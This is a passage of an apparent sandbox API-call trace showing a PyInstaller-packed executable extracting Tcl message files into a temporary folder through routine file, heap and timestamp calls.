"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hi.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.441] GetFileType (hFile=0x10c) returned 0x1 [0037.441] htonl (hostlong=0xca060000) returned 0x6ca [0037.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.441] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x6ca, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x6ca, lpOverlapped=0x0) returned 1 [0037.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.442] CloseHandle (hObject=0x10c) returned 1 [0037.443] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.443] htonl (hostlong=0x30000000) returned 0x30 [0037.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.443] GetFileType (hFile=0x10c) returned 0x1 [0037.443] htonl (hostlong=0x306d5700) returned 0x576d30 [0037.443] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1d30, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.443] htonl (hostlong=0x9e000000) returned 0x9e [0037.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.443] htonl (hostlong=0x9e000000) returned 0x9e [0037.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.443] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.444] htonl (hostlong=0xfb000000) returned 0xfb [0037.444] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.444] htonl (hostlong=0x9e000000) returned 0x9e [0037.444] htonl (hostlong=0xfb000000) returned 0xfb [0037.444] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.444] CloseHandle (hObject=0x10c) returned 1 [0037.444] GetLastError () returned 0x0 [0037.444] SetLastError (dwErrCode=0x0) [0037.444] GetLastError () returned 0x0 [0037.444] SetLastError (dwErrCode=0x0) [0037.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.444] GetFileType (hFile=0x10c) returned 0x1 [0037.444] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.445] CloseHandle (hObject=0x10c) returned 1 [0037.445] GetLastError () returned 0x0 [0037.445] SetLastError (dwErrCode=0x0) [0037.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.445] GetFileType (hFile=0x10c) returned 0x1 [0037.445] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.445] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.445] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.445] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.445] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.445] CloseHandle (hObject=0x10c) returned 1 [0037.445] GetLastError () returned 0x0 [0037.445] SetLastError (dwErrCode=0x0) [0037.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg") returned 64 [0037.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hi_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.445] GetLastError () returned 0x2 [0037.445] SetLastError (dwErrCode=0x2) [0037.445] GetLastError () returned 0x2 [0037.446] SetLastError (dwErrCode=0x2) [0037.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg", lpFilePart=0x0) returned 0x3f [0037.446] GetLastError () returned 0x2 [0037.446] SetLastError (dwErrCode=0x2) [0037.446] GetLastError () returned 0x2 [0037.446] SetLastError (dwErrCode=0x2) [0037.446] GetLastError () returned 0x2 [0037.446] SetLastError (dwErrCode=0x2) [0037.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg") returned 64 [0037.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hi_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hi_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.447] GetFileType (hFile=0x10c) returned 0x1 [0037.447] htonl (hostlong=0xfb000000) returned 0xfb [0037.447] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.447] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.448] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.448] CloseHandle (hObject=0x10c) returned 1 [0037.448] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.448] htonl (hostlong=0x30000000) returned 0x30 [0037.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.449] GetFileType (hFile=0x10c) returned 0x1 [0037.449] htonl (hostlong=0xce6d5700) returned 0x576dce [0037.449] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1dce, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.449] htonl (hostlong=0x74010000) returned 0x174 [0037.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x174) returned 0x550600 [0037.449] htonl (hostlong=0x74010000) returned 0x174 [0037.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.449] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.449] htonl (hostlong=0x61040000) returned 0x461 [0037.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x461) returned 0x550780 [0037.449] htonl (hostlong=0x74010000) returned 0x174 [0037.449] htonl (hostlong=0x61040000) returned 0x461 [0037.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.449] CloseHandle (hObject=0x10c) returned 1 [0037.449] GetLastError () returned 0x0 [0037.449] SetLastError (dwErrCode=0x0) [0037.449] GetLastError () returned 0x0 [0037.449] SetLastError (dwErrCode=0x0) [0037.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.450] GetFileType (hFile=0x10c) returned 0x1 [0037.450] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.450] CloseHandle (hObject=0x10c) returned 1 [0037.450] GetLastError () returned 0x0 [0037.450] SetLastError (dwErrCode=0x0) [0037.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.450] GetFileType (hFile=0x10c) returned 0x1 [0037.450] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.451] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.451] CloseHandle (hObject=0x10c) returned 1 [0037.451] GetLastError () returned 0x0 [0037.451] SetLastError (dwErrCode=0x0) [0037.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg") returned 61 [0037.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.451] GetLastError () returned 0x2 [0037.451] SetLastError (dwErrCode=0x2) [0037.451] GetLastError () returned 0x2 [0037.451] SetLastError (dwErrCode=0x2) [0037.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg", lpFilePart=0x0) returned 0x3c [0037.451] GetLastError () returned 0x2 [0037.451] SetLastError (dwErrCode=0x2) [0037.451] GetLastError () returned 0x2 [0037.451] SetLastError (dwErrCode=0x2) [0037.451] GetLastError () returned 0x2 [0037.451] SetLastError (dwErrCode=0x2) [0037.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg") returned 61 [0037.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\hr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\hr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.451] GetFileType (hFile=0x10c) returned 0x1 [0037.451] htonl (hostlong=0x61040000) returned 0x461 [0037.451] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.451] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x461, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x461, lpOverlapped=0x0) returned 1 [0037.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.453] CloseHandle (hObject=0x10c) returned 1 [0037.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.453] htonl (hostlong=0x30000000) returned 0x30 [0037.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.453] GetFileType (hFile=0x10c) returned 0x1 [0037.453] htonl (hostlong=0x426f5700) returned 0x576f42 [0037.453] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1f42, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.453] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a6) returned 0x550600 [0037.454] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.454] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.454] htonl (hostlong=0x2f050000) returned 0x52f [0037.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x52f) returned 0x55e278 [0037.454] htonl (hostlong=0xa6010000) returned 0x1a6 [0037.454] htonl (hostlong=0x2f050000) returned 0x52f [0037.454] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.454] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.454] CloseHandle (hObject=0x10c) returned 1 [0037.454] GetLastError () returned 0x0 [0037.454] SetLastError (dwErrCode=0x0) [0037.454] GetLastError () returned 0x0 [0037.454] SetLastError (dwErrCode=0x0) [0037.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.454] GetFileType (hFile=0x10c) returned 0x1 [0037.455] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.455] CloseHandle (hObject=0x10c) returned 1 [0037.455] GetLastError () returned 0x0 [0037.455] SetLastError (dwErrCode=0x0) [0037.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.455] CreateFileW 